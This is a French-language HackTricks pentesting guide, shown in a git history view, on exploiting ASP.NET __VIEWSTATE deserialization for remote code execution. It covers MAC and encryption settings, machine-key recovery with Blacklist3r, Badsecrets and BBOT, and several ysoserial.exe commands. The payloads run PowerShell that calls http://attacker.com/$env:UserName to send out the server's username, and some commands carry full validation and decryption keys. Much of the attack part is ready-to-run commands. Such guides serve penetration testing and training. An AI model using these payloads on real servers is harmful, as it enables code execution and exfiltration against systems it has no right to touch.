hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

217 lines
17 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Exploitation de \_\_VIEWSTATE sans connaître les secrets
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2022-10-22 15:01:16 +00:00
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2023-06-03 13:10:46 +00:00
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2023-06-03 13:10:46 +00:00
## Qu'est-ce que ViewState
2023-06-03 13:10:46 +00:00
**ViewState** est la méthode que le framework ASP.NET utilise par défaut pour **préserver les valeurs des pages et des contrôles entre les pages web**. Lorsque le HTML de la page est rendu, l'état actuel de la page et les valeurs qui doivent être conservées pendant le postback sont sérialisés en chaînes codées en base64 et sortis dans le champ ou les champs cachés ViewState.\
Les propriétés suivantes ou combinaison de propriétés s'appliquent aux informations ViewState :
* Base64
2023-06-03 13:10:46 +00:00
* Peut être défini en utilisant l'attribut EnableViewStateMac et ViewStateEncryptionMode défini sur false
* Base64 + MAC (Message Authentication Code) activé
* Peut être défini en utilisant l'attribut EnableViewStateMac défini sur true
* Base64 + Chiffré
* Peut être défini en utilisant l'attribut viewStateEncryptionMode défini sur true
2023-06-03 13:10:46 +00:00
## **Cas de test**
![](<../../.gitbook/assets/image (309) (2).png>)
2023-06-03 13:10:46 +00:00
### Cas de test : 1 EnableViewStateMac=false et viewStateEncryptionMode=false
2023-06-03 13:10:46 +00:00
Il est également possible de désactiver complètement le ViewStateMAC en définissant la clé de registre `AspNetEnforceViewStateMac` à zéro dans :
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
2023-06-03 13:10:46 +00:00
**Identification des attributs ViewState**
2023-06-03 13:10:46 +00:00
Vous pouvez essayer d'identifier si ViewState est protégé par MAC en capturant une requête contenant ce paramètre avec BurpSuite :
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
2023-06-03 13:10:46 +00:00
Si Mac n'est pas utilisé pour protéger le paramètre, vous pouvez l'exploiter en utilisant [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
2023-06-03 13:10:46 +00:00
### Cas de test 1.5 - Comme le cas de test 1, mais le cookie ViewState n'est pas envoyé par le serveur
2023-06-03 13:10:46 +00:00
Les développeurs peuvent **supprimer ViewState** pour qu'il ne fasse pas partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).\
On peut supposer que si **ViewState** n'est **pas présent**, leur implémentation est **sécurisée** contre toute vulnérabilité potentielle liée à la désérialisation de ViewState.\
Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au corps de la requête et envoyons notre charge utile sérialisée créée à l'aide de ysoserial, nous pourrons toujours parvenir à une **exécution de code** comme indiqué dans le **cas 1**.
2023-06-03 13:10:46 +00:00
### Cas de test : 2 - .Net < 4.5 et EnableViewStateMac=true & ViewStateEncryptionMode=false
2023-06-03 13:10:46 +00:00
Pour **activer la MAC ViewState** pour une **page spécifique**, nous devons apporter les modifications suivantes à un fichier aspx spécifique :
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
2023-06-03 13:10:46 +00:00
Nous pouvons également le faire pour l'application **globale** en le configurant dans le fichier **web.config** comme indiqué ci-dessous:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
2023-06-03 13:10:46 +00:00
Comme le paramètre est protégé par MAC, pour réussir à exécuter l'attaque, nous avons d'abord besoin de la clé utilisée. Dans ce cas, BurpSuite nous informera que le paramètre est protégé par MAC :
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
2023-06-03 13:10:46 +00:00
Vous pouvez essayer d'utiliser [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) pour trouver la clé utilisée.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
2023-06-03 13:10:46 +00:00
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) est un autre outil qui peut identifier les machineKeys connus. Il est écrit en Python, donc contrairement à Blacklist3r, il n'y a pas de dépendance Windows. Pour les viewstates .NET, il existe une utilité "python blacklist3r", qui est le moyen le plus rapide de l'utiliser.
2023-06-03 13:10:46 +00:00
Il peut être fourni soit avec le viewstate et le générateur directement :
2023-03-24 21:40:35 +00:00
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
2023-06-03 13:10:46 +00:00
Ou, il peut se connecter directement à l'URL cible et essayer d'extraire le viewstate du HTML :
2023-03-24 21:40:35 +00:00
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
2023-06-03 13:10:46 +00:00
Pour rechercher des viewstates vulnérables à grande échelle, en conjonction avec l'énumération de sous-domaines, le module `badsecrets` de [**BBOT**](exploiting-\_\_viewstate-parameter.md) peut être utilisé :
2023-03-24 21:40:35 +00:00
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
2023-06-03 13:10:46 +00:00
Si vous avez de la chance et que la clé est trouvée, vous pouvez procéder à l'attaque en utilisant [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) :
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
2023-06-03 13:10:46 +00:00
Dans les cas où le paramètre `_VIEWSTATEGENERATOR` **n'est pas envoyé** par le serveur, vous **n'avez pas besoin de fournir** le paramètre `--generator`, **mais vous devez fournir ces paramètres**:
```bash
--apppath="/" --path="/hello.aspx"
```
2023-06-03 13:10:46 +00:00
### Cas de test : 3 - .Net < 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true
2023-06-03 13:10:46 +00:00
Dans ce cas, Burp ne trouve pas si le paramètre est protégé par MAC car il ne reconnaît pas les valeurs. Ensuite, la valeur est probablement chiffrée et vous **avez besoin de la clé de la machine pour chiffrer votre charge utile** pour exploiter la vulnérabilité.
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
2023-06-03 13:10:46 +00:00
**Dans ce cas, le module** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **est en cours de développement...**
2023-06-03 13:10:46 +00:00
Avant .NET 4.5, ASP.NET peut **accepter** un paramètre \_`__VIEWSTATE`\_ **non chiffré** des utilisateurs même si **`ViewStateEncryptionMode`** a été défini sur _**Always**_. ASP.NET **vérifie uniquement** la **présence** du paramètre **`__VIEWSTATEENCRYPTED`** dans la requête. **Si on supprime ce paramètre et qu'on envoie la charge utile non chiffrée, elle sera quand même traitée.**
2023-06-03 13:10:46 +00:00
Par conséquent, si la clé de la machine est connue (par exemple via un problème de traversée de répertoire), la commande [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilisée dans le **Cas 2**, peut être utilisée pour effectuer une RCE en utilisant la vulnérabilité de désérialisation de ViewState.
2023-06-03 13:10:46 +00:00
* Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon une erreur de validation MAC de ViewState sera renvoyée et l'exploitation échouera comme indiqué dans la figure :
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
2023-06-03 13:10:46 +00:00
### Cas de test : 4 - .Net >= 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true/false sauf si les deux attributs sont à false
2023-06-03 13:10:46 +00:00
Nous pouvons forcer l'utilisation du framework ASP.NET en spécifiant le paramètre ci-dessous dans le fichier web.config comme indiqué ci-dessous.
```markup
<httpRuntime targetFramework="4.5" />
```
2023-06-03 13:10:46 +00:00
Alternativement, cela peut être fait en spécifiant l'option ci-dessous à l'intérieur du paramètre `machineKey` du fichier web.config.
```bash
compatibilityMode="Framework45"
```
2023-06-03 13:10:46 +00:00
Comme dans le cas précédent, Burp ne peut pas identifier si la requête est protégée par MAC car **la valeur est chiffrée**. Ainsi, pour envoyer une **charge utile valide, l'attaquant a besoin de la clé**.
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
2023-06-03 13:10:46 +00:00
Vous pouvez essayer d'utiliser [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) pour trouver la clé utilisée :
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
2023-06-03 13:10:46 +00:00
Pour une description plus détaillée de IISDirPath et TargetPagePath, veuillez vous référer à [ce lien](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/).
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
2023-06-03 13:10:46 +00:00
Ou, avec [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (avec une valeur de générateur):
2023-03-24 21:40:35 +00:00
```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
2023-06-03 13:10:46 +00:00
Une fois qu'une clé de machine valide est identifiée, **la prochaine étape consiste à générer une charge utile sérialisée en utilisant** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
2023-06-03 13:10:46 +00:00
Si vous avez la valeur de `__VIEWSTATEGENERATOR`, vous pouvez essayer d'**utiliser** le paramètre `--generator` avec cette valeur et **omettre** les paramètres `--path` et `--apppath`.
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
2023-06-03 13:10:46 +00:00
Si la vulnérabilité de désérialisation de ViewState est exploitée avec succès, un serveur contrôlé par un attaquant recevra une demande hors bande contenant le nom d'utilisateur. [Preuve de concept d'exploitation réussie](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
2023-06-03 13:10:46 +00:00
### Cas de test 6 - ViewStateUserKeys est utilisé
2023-06-03 13:10:46 +00:00
La propriété **ViewStateUserKey** peut être utilisée pour **se défendre** contre une **attaque CSRF**. Si une telle clé a été définie dans l'application et que nous essayons de générer la charge utile **ViewState** avec les méthodes discutées jusqu'à présent, la **charge utile ne sera pas traitée par l'application**.\
Vous devez utiliser un paramètre supplémentaire pour créer correctement la charge utile :
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
2023-06-03 13:10:46 +00:00
### Résultat d'une exploitation réussie <a href="#poc" id="poc"></a>
2023-06-03 13:10:46 +00:00
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, le serveur répond avec une erreur interne de serveur "500" ayant un contenu de réponse "Les informations d'état sont invalides pour cette page et peuvent être corrompues" et nous obtenons la requête OOB comme indiqué dans les figures ci-dessous :
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
2023-06-03 13:10:46 +00:00
requête hors bande avec le nom d'utilisateur actuel
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
2023-06-03 13:10:46 +00:00
## Références
2022-04-05 22:24:52 +00:00
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
2022-04-06 08:57:29 +00:00
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
2022-04-05 22:24:52 +00:00
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
2023-03-24 21:40:35 +00:00
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
2022-04-28 16:01:33 +00:00
2022-10-22 15:01:16 +00:00
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2023-06-03 13:10:46 +00:00
Si vous êtes intéressé par une **carrière de hacking** et que vous voulez hacker l'inviolable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>